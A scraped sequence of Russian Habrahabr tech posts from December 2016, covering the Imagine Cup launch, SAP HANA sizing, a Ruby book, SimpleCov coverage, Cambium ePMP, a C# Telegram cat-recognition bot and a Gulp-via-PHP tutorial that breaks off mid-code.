посягательства на функционал продукта «государственной изменой», а обсуждение качества реализации «переворотом». (К счастью, в Kickidler команда изначальных разработчиков покинула проект в момент выхода продукта на рынок, так что его можно безболезненно улучшать и дорабатывать). Что делать? Расставлять приоритеты. Понять чего вы хотите — славы, денег или ощущения того, что вот эта программулина, которая стоит на компьютерах тысяч людей сделана вашими руками. Хотите денег — следуйте пожеланий маркетологов и продавцов. Нужно моральное удовлетворение — следуйте вдохновению. Иногда это даже совпадает. На самом деле... … всё не так безрадостно. Wargaming, MSQRD и многие другие проекты становятся мировыми лидерами в своих отраслях и нишах. А значит можем. А значит — нужно только чуть-чуть подучиться…
https://habrahabr.ru/company/kickidler/blog/317446/
habrahabr
16 декабря — официальный запуск конкурса Imagine Cup в России! Приходите, чтобы узнать подробности
['imagine cup', 'студенческие проекты', 'azure', 'bot framework']
В этом году наш главный студенческий конкурс Imagine Cup претерпел важные изменения, как на международном уровне, так и в России. Чтобы подробнее рассказать об этих изменениях, мы решили провести...
В этом году наш главный студенческий конкурс Imagine Cup претерпел важные изменения , как на международном уровне, так и в России. Чтобы подробнее рассказать об этих изменениях, мы решили провести специальное мероприятие — официальный запуск Imagine Cup в России . Где: офис Microsoft, Москва, ул.Крылатская, 17 корп.1 Когда: 16 декабря 2016 г., 15:00-22:00 Регистрация: здесь Что будет на мероприятии Мы расскажем, как поменялись официальные правила конкурса Мы расскажем, как будет проводится конкурс в этом году в России Мы дадим краткий обзор самых современных технологий, которые будет полезно использовать в проектах: Bot Framework, IoT, Xamarin, Azure ML и др. Для желающих — мы проведем две лабораторные работы по IoT и созданию ботов. Чтобы участвовать в лабораторных работах — необходимо взять с собой ноутбук под управлением Windows 10, с установленной Visual Studio 2015 Успешные руководители проектов Imagine Cup поделятся своим опытом организации команд и распределенной работы над студенческими проектами В конце мероприятия мы предоставим время для индивидуальной консультации с экспертами/менторами и зарегистрируем уже сформировавшиеся проекты на специальную программу менторства/нано-акселерации . Полная программа мероприятия доступна на сайте . Для тех, кто не из Москвы, но хочет принять участие Мы не будем делать официальной трансляции всего мероприятия, но сделаем спонтанную трансляцию в Periscope или Facebook Live. Ищите её по тегу #imcup . Те, кто хочет заранее поделиться идеей проекта и обсудить её с ментором или попасть на программу нано-акселерации — опишите мне идею проекта вконтакте , и мы пообщаемся. Вопросы можно задавать в твиттере с тегом #imcup , мы на них ответим Основные изменения Основные изменения в правилах конкурса, про которые вы должны знать: Главный приз в международном конкурсе увеличен до размера $100K Размер команды теперь составляет от 1 до 3 человек. Мы проанализировали тенденцию прошлых лет и поняли, что большинство команд укладываются в 3 человека (такими были, например, победители 2015 и 2016 г. из России). Главный акцент в этом году будет делаться на техническую реализацию проекта (50% веса в официальных критериях оценки). При этом обязательным является использование облачных технологий Microsoft Azure. Одна категория соревнований приходит на смену трем категориям. Вам больше не надо будет выбирать, в какой категории участвовать, а также подгонять свой проект под категорию В качестве итога: любой современный высокотехнологичный проект может участвовать в конкурсе Imagine Cup (если он использует облако Microsoft Azure). До встречи на мероприятии! Подробнее мы ответим на все вопросы на самом мероприятии. Вы также можете задавать их в комментариях, но мы оставляем за собой право ответить на эти вопросы после 16 декабря. Не забудьте зарегистрироваться и приходите с идеями!
https://habrahabr.ru/company/microsoft/blog/317478/
habrahabr
«SAP HANA в облаке VMware»: Расчет необходимых ресурсов
['ит-град', 'sap', 'sap hana']
Данные, данные и еще раз данные. От анализа банковских операций до оптимизации загруженности рейсов авиакомпаний. Изучение ситуации «в реальном времени» — возможность сделать выводы и принять...
Данные, данные и еще раз данные. От анализа банковских операций до оптимизации загруженности рейсов авиакомпаний. Изучение ситуации «в реальном времени» — возможность сделать выводы и принять сбалансированное решение в ограниченных временных рамках. Отличный пример — гонки «Формулы-1». Перед каждым этапом гонщики проводят тестовые заезды. Болиды начинены сотнями сенсоров, которые позволяют мониторить работоспособность всех узлов и агрегатов машины. Датчики одного болида генерируют более 1 ГБ данных за заезд — это информация о положении машины на треке, скорости, работе коробки переключения передач и даже давлении воздуха в шинах. Эти данные позволяют получить максимально полню картину о техническом состоянии болида и зафиксировать неисправности. К концу сезона у гоночных команд накапливаются терабайты данных, которые подвергаются тщательному анализу. Результат — успех или поражение команды в дальнейших гонках. Подобные задачи решают платформы хранения и обработки. Например, в сезоне гонок «Формула-1» 2014 года команда McLaren прибегала к технологии SAP HANA . В этой статье нам бы хотелось остановиться на программно-аппаратном комплексе SAP HANA и рассмотреть существующие методики расчета облачных мощностей под этот тип хостинга. / Flickr / Dima Moroz / CC Что такое SAP-хостинг SAP-хостинг — это услуга хостинга решений SAP в облачной инфраструктуре провайдера, где поставщик берет на себя обязательства по выполнению задач миграции, администрирования, технического обслуживания и сопровождения приложений SAP. Что касается SAP HANA, то компания SAP дает следующую расшифровку аббревиатуры продукта: High Performance Analytical Appliance. HANA является высокопроизводительным решением для аналитики и содержит такие инструменты, как средства обработки транзакций и крупных объемов данных. Например, SAP HANA дает возможность автоматически считывать показания счетчиков в различных социальных сетях. Компания «ИТ-ГРАД» предлагает SAP HANA на vSphere на специальном интегрированном оборудовании дата-центра. При этом вы получаете до 1 ТБ памяти и 32 физических ядра (это 64 виртуальных) для одной инсталляции на VMware vSphere. Расчет облачных мощностей под хостинг SAP HANA Теперь посмотрим, как проводится расчет облачных мощностей под хостинг SAP HANA. Вообще, компания SAP имеет ряд конфигураций для SAP HANA и обозначает их буквами, как если бы вы подбирали себе футболку по размеру. Примерив футболку размера S и обнаружив, что она вам мала, вы можете взять размер побольше — M. Размер M заменить на L и так далее. Точно так же поступают и с ресурсами: если их недостаточно, то всегда можно добавить. Указанные в таблице «размеры» удовлетворяют большинству бизнес-задач на базе SAP HANA, однако помимо них есть еще несколько уникальных и специфических конфигураций (представлены ниже). Но приступим к оценке требуемых ресурсов. Начнем с общей памяти. Ее размер определяется объемом данных, которые должны в ней храниться. Исходя из этого значения уже ведется расчет параметров дисковой подсистемы и процессора. В требованиях к RAM выделяют две составляющие. Первая — статическая память, используемая HANA, определяемая количеством данных, которые требуется хранить в памяти. Вторая — динамическая RAM — оперативная память, требуемая при загрузке новых блоков данных и приложений. По рекомендации SAP следует резервировать одинаковое количество динамической и статической памяти, поэтому общий объем памяти будет равен объему статической RAM, умноженной на два. RAM d = RAM st RAM total = 2 x RAM st Далее, идет расчет ресурсов дисковой системы (HDD). При этом обращаем внимание на тот факт, что свод данных с БД периодически копируется на так называемый том данных, чтобы сохранить информацию в случае непредвиденной аварии. Объем тома данных вычисляется согласно формуле: DISK pers = 4 x RAM total Также следует учитывать объем тома журналов, где хранится информация об изменениях базы данных, чтобы её можно было «откатить» в случае форс-мажора. Объем тома вычисляется по следующей формуле: DISK log = RAM total Итого общий объем дискового пространства равен: DISK total = DISK log + DISK pers При этом отметим, что первичные результаты следует регулярно проверять, чтобы избежать неприятностей и падения производительности при внезапном росте объема данных. Теперь черед ресурсов CPU. Требуемый объем процессорных ресурсов зависит от числа пользователей. SAP HANA поддерживает 300 SAPS (условные единицы измерения нагрузки на железо) для каждого пользователя. При этом система поддерживает 60–65 одновременно активных пользователей на один CPU. Если вам интересно, то более подробную информацию о SAPS вы можете найти здесь и тут . Пример полного расчета конфигурации вы сможете найти по ссылке. Чтобы упростить процесс вычисления ресурсов для SAP HANA, компания SAP предлагает воспользоваться утилитой Quick Sizer. Она позволяет вычислять объемы RAM, HDD, CPU, а также IOPS. На изображении ниже представлены результаты работы инструмента Quick Sizer. При этом значения параметров CPU, HDD определяются согласно «размерам футболок», о которых шла речь ранее. Сам инструмент доступен по ссылке . Так же рекомендуем обратить внимание на результаты тестов SAP Standard Application Benchmarks, которые помогут выбрать аппаратную конфигурацию, подходящую для конкретных бизнес-задач, поскольку виртуализация VMware на сегодняшний день успешно справляется с обслуживанием высоконагруженных баз данных и приложений, которые стабильно работают как в частных, так и в публичных виртуализированных средах. Другие материалы из нашего блога на Хабре: «В чем выгода»: Технико-экономическое обоснование использования IaaS Распространенные проблемы в облаке IaaS на базе гипервизора VMware и их решения IaaS-дайджест: Знакомство с виртуальной инфраструктурой «Вопросы планирования»: Облачный ERP-хостинг Как облачные технологии меняют мир спорта IaaS и GaaS: «Облачное» будущее видеоигр
https://habrahabr.ru/company/it-grad/blog/316282/
habrahabr
Книга «Ruby. Объектно-ориентированное проектирование»
['книги']
Привет, Хаброжители! Совсем недавно мы перевели бестселлер Сэнди Метц. Книга посвящена проектированию объектно-ориентированных программ. Это не учебник, а рассказ программиста о том, как...
Привет, Хаброжители! Совсем недавно мы перевели бестселлер Сэнди Метц. Книга посвящена проектированию объектно-ориентированных программ. Это не учебник, а рассказ программиста о том, как следует создавать программный код. Книга научит вас, как скомпоновать программное обеспечение, чтобы его высокая продуктивность не снижалась ни через месяц, ни через год. В ней показано, как создаются приложения, которые могут пользоваться успехом сегодня и адаптироваться к требованиям будущего. Внимательно изучив это руководство, вы сможете: • Понять, как писать на Ruby качественный код в духе ООП • Решать, что должно входить в состав класса Ruby • Не допускать тесной связи между объектами в тех случаях, когда требуется разграничить функциональность • Определять гибкие интерфейсы между объектами • Освоить утиную типизацию • Эффективно задействовать наследование, композицию и полиморфизм • Разрабатывать экономные тесты • Доводить до совершенства любой legacy-код Ruby. Кому эта книга будет полезна Предполагается, что читатели имеют хотя бы начальный опыт создания объектно-ориентированных программ. При этом неважно, считаете ли вы свой опыт успешным, главное, чтобы у вас была практика работы с каким-либо объектно-ориентированным языком. В главе 1 дается краткий обзор объектно-ориентированного программирования и приводятся общие понятия. Если вы еще не занимались объектно-ориентированным проектированием, но хотите научиться, то перед тем, как приступить к чтению, нужно пройти хотя бы начальный курс программирования. Примеры, приведенные в книге, предполагают, что вам уже приходилось сталкиваться с чем-то подобным. Опытные программисты могут пропустить этот этап, но большинству читателей мы рекомендуем получить начальный опыт написания объектно-ориентированного кода. Для обучения объектно-ориентированному проектированию в этой книге используется язык Ruby, но для усвоения изложенных концепций знать Ruby совсем не обязательно. В издании приводятся примеры кода, и они предельно просты. При наличии опыта программирования на любом объектно-ориентированном языке разобраться с Ruby будет нетрудно. Если вы привыкли работать с объектно-ориентированными языками со статической типизацией, например с Java или C++, значит, у вас уже есть необходимый багаж знаний, чтобы извлечь пользу из чтения данной книги. Ruby является языком с динамической типизацией, что упрощает синтаксис примеров и позволяет отразить самую суть проектирования. Каждое понятие из книги может быть напрямую переведено в код объектно-ориентированного языка со статической типизацией. Как следует читать книгу В главе 1 описываются общие задачи объектно-ориентированного проектирования и обстоятельства, требующие его применения, дается краткий обзор объектно-ориентированного программирования (ООП). Эта глава как бы стоит особняком. Ее можно прочитать первой, последней или пропустить, но если вы в настоящий момент столкнулись с плохо спроектированным приложением, то обязательно прочитайте эту главу. Если у вас есть опыт написания объектно-ориентированных приложений и вы не хотите терять время на повторение той информации, которая вам уже и так известна, можете смело начинать с главы 2. Если столкнетесь с непонятным термином, вернитесь назад и бегло просмотрите раздел «Краткое введение в объектно-ориентированное программирование» главы 1, где приводятся общие понятия ООП, используемые в данной книге. В главах 2–9 объясняются премудрости объектно-ориентированного проектирования. В главе 2 «Проектирование классов с единственной обязанностью» описывается, как решить, что должно принадлежать отдельно взятому классу. В главе 3 «Управление зависимостями» показано, как объекты сотрудничают друг с другом. В главах 2 и 3 основное внимание уделяется объектам, а не сообщениям. В главе 4 «Создание гибких интерфейсов» акценты смещаются с проектирования, где все построено на базе объектов, к проектированию, основанному на обмене сообщениями. Эта глава посвящена определению интерфейсов; основное внимание в ней уделяется тому, как объекты общаются друг с другом. Глава 5 «Снижение затрат за счет неявной типизации» посвящена неявной («утиной») типизации. В главе рассматривается идея о том, что объекты различных классов могут играть общие роли. Глава 6 «Получение поведения через наследование» учит применять технологии классического наследования. В главе 7 «Разделение ролевого поведения с помощью модулей» технологии классического наследования применяются для создания ролей с неявной типизацией. Глава 8 «Объединение объектов путем составления композиции» раскрывает приемы создания объектов посредством композиций и предоставляет руководство по выбору между композицией, наследованием и совместным использованием ролей с применением неявной типизации. Глава 9 «Проектирование экономически эффективных тестов» посвящена в основном проектированию тестов; при этом в качестве иллюстраций используется код из предыдущих глав книги. Каждая из глав основана на понятиях, раскрываемых в предыдущих главах, поэтому читать их лучше по порядку. В чем польза этого издания Читателям с разными уровнями подготовки книга окажется по-разному полезна. Тем, кто уже знаком с объектно-ориентированным проектированием, будет о чем поразмышлять; возможно, они по-новому посмотрят на уже привычные вещи и, вполне вероятно, с чем-то будут не согласны. Поскольку в объектно-ориентированном проектировании нет истины в последней инстанции, оспаривание принципов (и спор с автором данной книги) только улучшит общее понимание предмета. В конце концов, именно вы должны оценивать собственные конструкции кода, проводить эксперименты и делать правильный выбор. Хотя издание должно представлять интерес для читателей с различными уровнями подготовки, оно выпускалось с прицелом на новичков. Если вы новичок, то эта часть введения — именно для вас. Усвойте простую истину: объектно-ориентированное проектирование не магия. Это всего лишь еще не освоенная вами сфера. И раз вы читаете эти строки, это говорит о вашей заинтересованности, а тяга к знаниям — единственное условие получения пользы от прочтения данной книги. В главах 2–9 объясняются принципы объектно-ориентированного проектирования и приводятся четкие правила программирования, значение которых для новичка будет отличаться от значения для опытных программистов. Новичкам нужно следовать этим правилам, не сомневаясь в их важности. Безоговорочное выполнение правил поможет избежать крупных неприятностей, пока не будет накоплен опыт, позволяющий принимать собственные решения. К тому времени, когда правила станут вас раздражать, у вас уже будет достаточно опыта для составления своих правил, и вы начнете двигаться по карьерной лестнице в качестве проектировщика. Об авторе Сэнди Метц 30 лет работает над такими проектами, качество которых позволяет им расширяться и совершенствоваться. Она разработчик структур программного обеспечения в Университете Дьюка, где ее команда решает реальные задачи для клиентов, имеющих крупные объектно-ориентированные приложения, сопровождение и развитие которых ведется на протяжении 15 и более лет. Сэнди стремится создавать полезные, нетривиальные программы исключительно практичными способами. Книга «Ruby. Объектно-ориентированное проектирование» — продукт обобщения множества разработок и итог многолетних дебатов на тему объектно-ориентированного проектирования. » Более подробно с книгой можно ознакомиться на сайте издательства » Оглавление » Отрывок Для Хаброжителей скидка 25% по купону — Ruby
https://habrahabr.ru/company/piter/blog/317480/
habrahabr
Анализ покрытия кода тестами в Ruby
['ruby', 'coverage']
Для начала я приведу небольшой тестовый проект из трёх классов, проанализирую его покрытие с помощью гема SimpleCov, а напоследок немного поразмышляю о том, как анализ покрытия может приносить...
Для начала я приведу небольшой тестовый проект из трёх классов, проанализирую его покрытие с помощью гема SimpleCov , а напоследок немного поразмышляю о том, как анализ покрытия может приносить пользу проекту, и какие есть недостатки у Coverage в Ruby. Подопытный проект В качестве проекта для тестирования взята небольшая история о мальчике, который может спрашивать разрешения погулять у матери и у отца. # Мама очень заботится о своём сыне, и не разрешает ему гулять, # если он не надел шарф. А ещё она заботится о его успеваемости, поэтому если # сын не сделал домашнюю работу, гулять ему она тоже не разрешит. class Mother def permit_walk?(child) child.scarf_put_on && child.homework_done end end # Отец тоже следит за тем, чтобы шарф был надет, но не так трепетно относится к учёбе. class Father def permit_walk?(child) child.scarf_put_on end end # Сын любит и уважает родителей, поэтому никогда не уходит гулять, # не спросив разрешения. Спрашивать он может и у мамы, и у папы. # Ну и, конечно, он может одеваться и делать ДЗ. class Child attr_reader :homework_done, :scarf_put_on def initialize(mother, father) @mother = mother @father = father @homework_done = false @scarf_put_on = false end def do_homework! @homework_done = true end def put_on_scarf! @scarf_put_on = true end def walk_permitted?(whom_to_ask) parent = if whom_to_ask == :mother @mother else @father end parent.permit_walk?(self) end end Покрываем тестами и смотрим покрытие Тесты намеренно покрывают не все сценарии: require "simplecov" SimpleCov.start require "rspec" require_relative "../lib/mother" require_relative "../lib/father" require_relative "../lib/child" RSpec.describe Child do let(:child) { Child.new(Mother.new, Father.new) } context "when asking mother without scarf and without homework" do it "isn't permitted to walk" do expect( child.walk_permitted?(:mother) ).to be false end end context "when asking mother with scarf and with homework" do it "is permitted to walk" do child.put_on_scarf! child.do_homework! expect( child.walk_permitted?(:mother) ).to be true end end end SimpleCov — фактически монополист в области анализа покрытия в мире Ruby 1.9.3+. Он является удобной обёрткой над модулем Coverage из стандартной библиотеки. Подключение сводится к двум строкам в начале файла с тестами, при этом важно, чтобы инициализация SimpleCov проводилась до подключения файлов проекта. Запускаем тесты: rspec Voilà! Сгенерировался файл отчёт coverage/index.html. Посмотреть его можно по ссылке , а здесь я оставлю пару скриншотов, чтобы далеко не ходить (общий отчёт используется в качестве заглавной картинки). father.rb Выдержка из child.rb Бонусы от анализа coverage Из отчёта сразу видно, что не протестирован путь, в котором разрешение спрашивается у отца. Отсюда очевидная польза от анализа покрытия: в условиях неприменения TDD отчёт может показать, что мы забыли что-то протестировать. Если же проект достался в наследство и нелёгкий путь тестирования только начинается, отчёт поможет решить, куда эффективнее всего направить силы. Второе возможное применение — автоматическое обеспечение "качества" коммитов. CI-сервер может отбраковывать коммиты, которые приводят к снижению total coverage, резко снижая вероятность появления в репозитории непротестированного кода. Что анализ покрытия не даёт Во-первых, стопроцентное покрытие не обеспечивает отсутствие багов. Простой пример: если изменить класс Mother таким образом: class Mother def permit_walk?(child) # child.scarf_put_on && child.homework_done child.homework_done end end покрытие класса останется 100%-ым, тесты будут по-прежнему зелёными, но логика будет очевидно неверной. Для автоматического определения "отсутствующих, но нужных" тестов можно использовать гем mutant . Я ещё не пробовал его в деле, но, судя по Readme и количеству звёзд на гитхабе, библиотека действительно полезна. Впрочем, это тема для отдельного поста, до которого я как-нибудь доберусь. Во-вторых, в Ruby на данный момент возможен анализ покрытия только по строкам, branch- и condition-coverage не поддерживается. Имеется в виду, что в однострочниках вида some_condition ? 1 : 2 some_condition || another_condition return 1 if some_condition есть точки ветвления, но даже если тесты пройдут только по одной возможной ветви исполнения, coverage покажет 100%. Был pull request в Ruby на эту тему, но от мейнтейнеров уже два года ничего не слышно . А жаль. Послесловие Я предпочитаю писать тесты сразу же после написания кода, и coverage служит мне напоминалкой о ещё не протестированных методах (частенько забываю потестить обработчики исключений). В общем, анализ покрытия вполне может приносить определённую пользу, но 100%-е покрытие не обязательно говорит о том, что тестов достаточно. Материалы, используемые в статье: Тестовый проект на гитхабе Отчёт по анализу SimpleCov SimpleCov mutant
https://habrahabr.ru/post/317326/
habrahabr
Cambium даёт новую жизнь вашим перегруженным сетям на Ubiquiti: новая программа для операторов
['Cambium', 'epmp', 'ubnt', 'ubiquiti', 'радиосвязь', 'радиодоступ']
Компания Cambium Networks запускает уникальную программу для решения проблемы модернизации перегруженных сетей, построенных на оборудовании Ubiquiti (а в дальнейшем — и других производителей...
Компания Cambium Networks запускает уникальную программу для решения проблемы модернизации перегруженных сетей, построенных на оборудовании Ubiquiti (а в дальнейшем — и других производителей low-cost систем фиксированного радиодоступа). В истории фиксированного радиодоступа это уникальный случай, сеть можно перевести на более производительное решение без замены абонентского оборудования. Программа ePMP Elevate предлагает операторам недорогой, простой и быстрый способ значительного увеличения производительности существующей сети беспроводного широкополосного доступа, развернутой на оборудовании стандарта 802.11n. Преимущество ePMP Elevate состоит в том, что вам не нужно менять абонентские устройства. Вы меняете вашу старую точку доступа на высокопроизводительную базовую станцию Cambium серии ePMP1000 или ePMP2000, загружаете лицензию ePMP Elevate и удаленно загружаете программное обеспечение ePMP Elevate на абонентские комплекты. И всё, — ваша сеть работает быстрее, стабильнее и с функциональностью ePMP. На данный момент ePMP Elevate поддерживает следующие аппаратные платформы, в дальнейшем их список будет расширяться: Какие преимущества дает оператору связи ePMP Elevate? 1. Большая емкость сектора базовой станции – больше абонентов, больше скорости каждому абоненту. 2. Настоящий TDMA. Равный и настраиваемый доступ к среде для всех абонентов без потери производительности. До 120 абонентов в секторе! 3. Переиспользование частот и синхронная работа секторов – стабильная работа базы при недостатке частотного ресурса, экономия частот без снижения скорости. 4. Интеллектуальное формирование луча в сторону абонента (Smart Beamforming) с базой ePMP2000 и опциональной умной антенной – лучше сигнал на абоненте, лучше качество приемного сигнала, работа на высших модуляциях, значит, выше скорость. 5. Отстройка от внеполосных помех на базе от сетей LTE и другого оборудования. Выше качество сигнала, работа на высших модуляциях, выше скорость для абонентов. 6. Вы получаете возможность планировать расширение сети с помощью единственного доступного бесплатного ПО для сетей точка-многоточка — Link Planner. 7. Не нужно менять абонентские устройства – серьезная экономия на монтажных работах. Результат замены — беспроводная сеть начинает работать лучше, применение ePMP Elevate дает Вам возможность увеличить ёмкость сети и качество предоставляемых услуг как с помощью новых более скоростных тарифов для клиентов, так и путем увеличения количества абонентов в секторе.
https://habrahabr.ru/company/comptek/blog/317482/
habrahabr
Telegram бот и использование Google Cloud Vision
['telegram', 'c#', 'google cloud platform']
Всем привет! Недавно я уже писал статью про интеграцию своего бота с IBM Watson, а в этой статье рассмотрю интеграцию с Google Cloud Vision для распознавания котиков и более подробно опишу...
Всем привет! Недавно я уже писал статью про интеграцию своего бота с IBM Watson, а в этой статье рассмотрю интеграцию с Google Cloud Vision для распознавания котиков и более подробно опишу внутренности своего бота. Небольшая предыстория: Мой бот вполне успешно работал пару месяцев с использованием распознавания IBM Watson, однако затем на хабре вышла статья про google cloud vision и оказалось, что Google распознает изображения лучше, чем IBM. В тот же день я зарегистрировался в консоли разработчика Google cloud platform и начал переписывать блок модерации котиков в своем боте. Немного поискав, я нашел подходящий пример на C# на гитхабе GoogleCloudPlatform . Я поменял аутентификацию из примера и сделал ее из json файла с private key, который взял в разделе «сервисные аккаунты» консоли. код авторизации на c# private VisionService service; private string _JsonPath = @"C:\BOTS\fcatsbot\json.json"; private VisionService CreateAuthorizedClient(string JsonPath) { GoogleCredential credential = GoogleCredential.FromStream(new FileStream(JsonPath, FileMode.Open)); // Inject the Cloud Vision scopes if (credential.IsCreateScopedRequired) { credential = credential.CreateScoped(new[] { VisionService.Scope.CloudPlatform }); } var res = new VisionService(new BaseClientService.Initializer { HttpClientInitializer = credential, GZipEnabled = false }); return res; } Далее я переделал модерацию изображений (label detection). В примере на гитхабе DetectLabels работает с файлом, а мне нужно было работать с ссылкой, которую я получал с серверов Telegram, чтобы не хранить у себя файлы изображений. Я сохраняю в базе только file_id, что дает неплохой прирост скорости работы. код label detection private async Task<IList<AnnotateImageResponse>> DetectLabels( VisionService vision, string imageUrl) { // Convert image to Base64 encoded for JSON ASCII text based request MemoryStream ms = new MemoryStream(); using (var client = new HttpClient()) { Stream imageBytes = await client.GetStreamAsync(imageUrl); imageBytes.CopyTo(ms); } byte[] imageArray = ms.ToArray(); string imageContent = Convert.ToBase64String(imageArray); // Post label detection request to the Vision API // [START construct_request] var responses = vision.Images.Annotate( new BatchAnnotateImagesRequest() { Requests = new[] { new AnnotateImageRequest() { Features = new [] { new Feature() { Type = "LABEL_DETECTION"} }, Image = new Image() { Content = imageContent } } } }).Execute(); ms.Dispose(); return responses.Responses; } Затем я ищу в Responses есть ли label с описанием котика, с оценкой более 0.6, и таким образом, определяю есть ли котик в переданной боту картинке: работа с labels foreach (var response in responses.Responses) { foreach (var label in response.LabelAnnotations) { double _score = label.Score == null ? 0 : Convert.ToDouble(label.Score.Value); var class = label.Description.Trim(); if (class .Contains("kitten") || class .Contains("cat") ) && (_score > 0.60)) { HasCatOrKittenClass = true;//moderation OK } } } Вот код работы с API Telegram для получения ссылки на изображение из file_id, я использовал библиотеку на C# telegram bot : telegram getFile var file = await MainParams.TGBot.GetFileAsync(fileid); var file_path = file.FilePath; var urlImage = "https://api.telegram.org/file/bot" + MainParams.bot_token + "/" + file_path; А когда я отправляю изображение пользователю с помощью sendPhoto, я просто передаю сохраненный file_id вторым параметром. Таким образом, получается что когда пользователь присылает свое фото котика на модерацию (или использует для этого thecatapi.com), я сохраняю в базе только file_id и в дальнейшем использую его для получения ссылки на картинку на серверах Telegram и для отправки пользователям с помощью sendPhoto. А распознавание изображений с помощью Google cloud vision работает более точно, чем у IBM Watson
https://geektimes.ru/post/283630/
habrahabr
Запускаем Gulp с вотчерами на обычном хостинге через админпанель
['gulp', 'process', 'php', 'nodejs', 'server-side', 'hosting', 'adminpanel']
У тебя есть сайт с админпанелью и ты используешь или только собираешься использовать Gulp в этом проекте? Хочешь максимально работать с сайтом через админпанель, включая контроль над генератором...
У тебя есть сайт с админпанелью и ты используешь или только собираешься использовать Gulp в этом проекте? Хочешь максимально работать с сайтом через админпанель, включая контроль над генератором ресурсов Gulp? Тогда под катом я покажу тебе простой способ управления Gulp'ом с вотчерами на сервере прямо из админпанели. Это небольшой туториал по настройке и запуску Gulp'а на сервере средствами любой админпанели на PHP. Подразумевается, что запускается Gulp не для единовременной сборки ресурсов, а в режиме с вотчерами. Отлично подходит, если ты работаешь с проектом через Deployment Tools и локально он у тебя не запущен. При этом каждый раз билдить, например, SCSS локально и заливать результат уже надоело. 1. Тонкости хостинга Так уж получилось, на моём хостинге не было поддержки Node. Пришлось поставить её отдельно в свою папку рядом с сайтами. Какую версию ставить, не принципиально, я использовал Node.js v5.12.0 . Для установки просто распакуй архив куда-нибудь к себе на хостинг и добавь NodeJS bin в Path (подробнее ниже). Обрати внимание, если на твоём хостинге включено изолирование сайтов, то папку с Node нужно добавить в общедоступные. В противном случае, процессу gulp будет отказано в доступе к Node. 2. Настройка Node и Gulp Тут ты подготовишь всё необходимое для запуска Gulp на сервере. В принципе, им уже можно будет отлично пользоваться через SSH, но основная цель: Настроить управление через админпанель. 2.1 Настраиваем Node Если ты уже пользовался npm'ом на хостинге и у тебя там уже стоит Node, то пол дела сделано и можешь сразу переходить к пункту 2.2. Для установки на сервере Gulp и всего необходимого для его запуска тебе нужно будет в корне проекта создать файл package.json . Искренне надеюсь, что корень проекта у тебя лежит чуть выше папки public_html . Примерное содержимое файла package.json : { "name": "Project Namet", "version": "1.0.0", "devDependencies": { "browser-sync": "^2.14.0", "gulp": "~3.9.0", "gulp-autoprefixer": "^3.1.0", "gulp-browserify": "~0.5.1", "gulp-clean-css": "^2.0.12", "gulp-concat": "~2.6.0", "gulp-notify": "^2.2.0", "gulp-plumber": "^1.1.0", "gulp-sass": "~2.1.0", "gulp-sourcemaps": "^1.6.0", "gulp-uglify": "^1.5.1", "gulp-util": "^3.0.7" }, } Набор плагинов для Gulp может быть любой, нужно смотреть, что именно ты используешь и зачем тебе это нужно. Что касается BrowserSync, то его запустить так и не удалось. Почему? Читай в самом конце в списке возможных проблем. Далее, заблаговременно подключившись к серверу по SSH, ты должен настроить Path, чтобы установленная вручную Node попала в директории запуска (это, кстати, вовсе не гарантирует, что процесс сайта будет видеть эту Node или вообще хоть что-то. Там своё окружение со своим Path. Его настроишь уже через PHP.). Установи Gulp и его компоненты из директории, где лежит package.json : npm install У тебя появится в этой директории папка node_modules , в которой будет всё что нужно для запуска Gulp. Теперь нам нужно сконфигурировать Gulp. 2.2 Настраиваем Gulp под проект Вообще было бы здорово, если бы ты умел это делать, но в любом случае по настройке конфигурационного файла Gulp есть много статей, я лишь приведу пример из своего проекта. Для этого создай файл gulpfile.js рядом с файлом package.json с примерным наполнением: 'use strict'; var gulp = require('gulp'); var plumber = require('gulp-plumber'); var notify = require("gulp-notify"); var sass = require('gulp-sass'); var minifyCss = require('gulp-clean-css'); var sourcemaps = require('gulp-sourcemaps'); var autoprefixer = require('gulp-autoprefixer'); var browserSync = require('browser-sync').create(); var errorHandler = { errorHandler: notify.onError({ title: 'Ошибка в плагине <%= error.plugin %>', message: "Ошибка: <%= error.message %>" }) }; gulp.task('scss', function(){ gulp.src('./scss/**/*.scss') .pipe(plumber(errorHandler)) .pipe(sourcemaps.init()) .pipe(sass()) .pipe(autoprefixer()) .pipe(minifyCss({compatibility: 'ie8'})) .pipe(sourcemaps.write({ includeContent: false })) .pipe(gulp.dest('./public_html/css/user')); }); gulp.task('compiler', [ 'scss' ]); gulp.task('watch', ['compiler'], function(){ /* browserSync.init({ host: 'http://mysite.ru', online: false, files: [ './public_html/css/user/app.css' ] }); */ gulp.watch('./scss/**/*.scss', ['scss']); }); gulp.task('default', ['watch']); Я покажу на примере генерации только CSS, ты же можешь настроить Gulp как хочешь. Подразумевается, что рядом с gulpfile.js лежит папка scss , в которой полная структура всех SCSS файлов. Если что, то найти и поменять путь к SCSS файлам в gulpfile.js не сложно, их всего два: Место, куда смотрит таск генерации CSS gulp.src('./scss/**/*.scss') Место, куда смотрит Watcher gulp.watch('./scss/**/*.scss', ['scss']); 2.3 Проверка готовности инструментов Если всё сделано правильно, то уже сейчас можно, подключившись по SSH, перейти в папку с gulpfile.js и выполнить там: gulp При этом увидим какой-то дебаг от Gulp, либо предупреждения, которые тебе предстоит разрулить до перехода к следующему пункту. Сразу скажу, что проблема может быть в конфигурировании переменной Path для текущего подключенного пользователя, в ней обязательно должна быть папка bin от Node и папка /node_modules/.bin , которую должен устанавливать в Path сам NPM. Другого рода проблемы, скорее будут относиться к неверной настройке gulpfile.js . 3 Подготовка PHP для работы с Gulp Для этого тебе сначала нужно понять, как это вообще будет работать, не опираясь на конкретный язык программирования, и лишь потом решить, что же из PHP нужно использовать. Благо вариантов не очень много, да и продумывать почти нечего. Алгоритм следующий: Нужно при запросе на включение из админпанели запустить процесс Gulp в фоне и сохранить его PID где-нибудь. При запросе на выключение нужно проверить PID и убить работающий под ним процесс Gulp. При запросе статистики можно проверить существование работающего по текущему PID процесса Gulp и вернуть результат. Весь output фонового процесса Gulp стоит сохранять в файл и при желании можно также настроить отправку содержимого этого файла в админпанель по запросу (В статье не рассматривается этот пункт, можешь реализовать его в виде домашнего задания). Вроде просто, теперь, какие средства PHP тебе понадобятся. Самое первое и простое, это класс ExecProcess где-то из обсуждения exec на сайте PHP. Я его немного модифицировал и использую вот такой: <?php class ExecProcess { private $pid; private $command; private $root; // Массив с полными путями к папкам, которые должны быть в Path (в твоём случае это папка `bin` в Node и `/node_modiles/.bin`) private $envList = []; // Массив дополнительных команд, которые я использовал для дебага окружения. Тебе может не пригодиться. private $additional = []; private function runCom() { $command = ""; 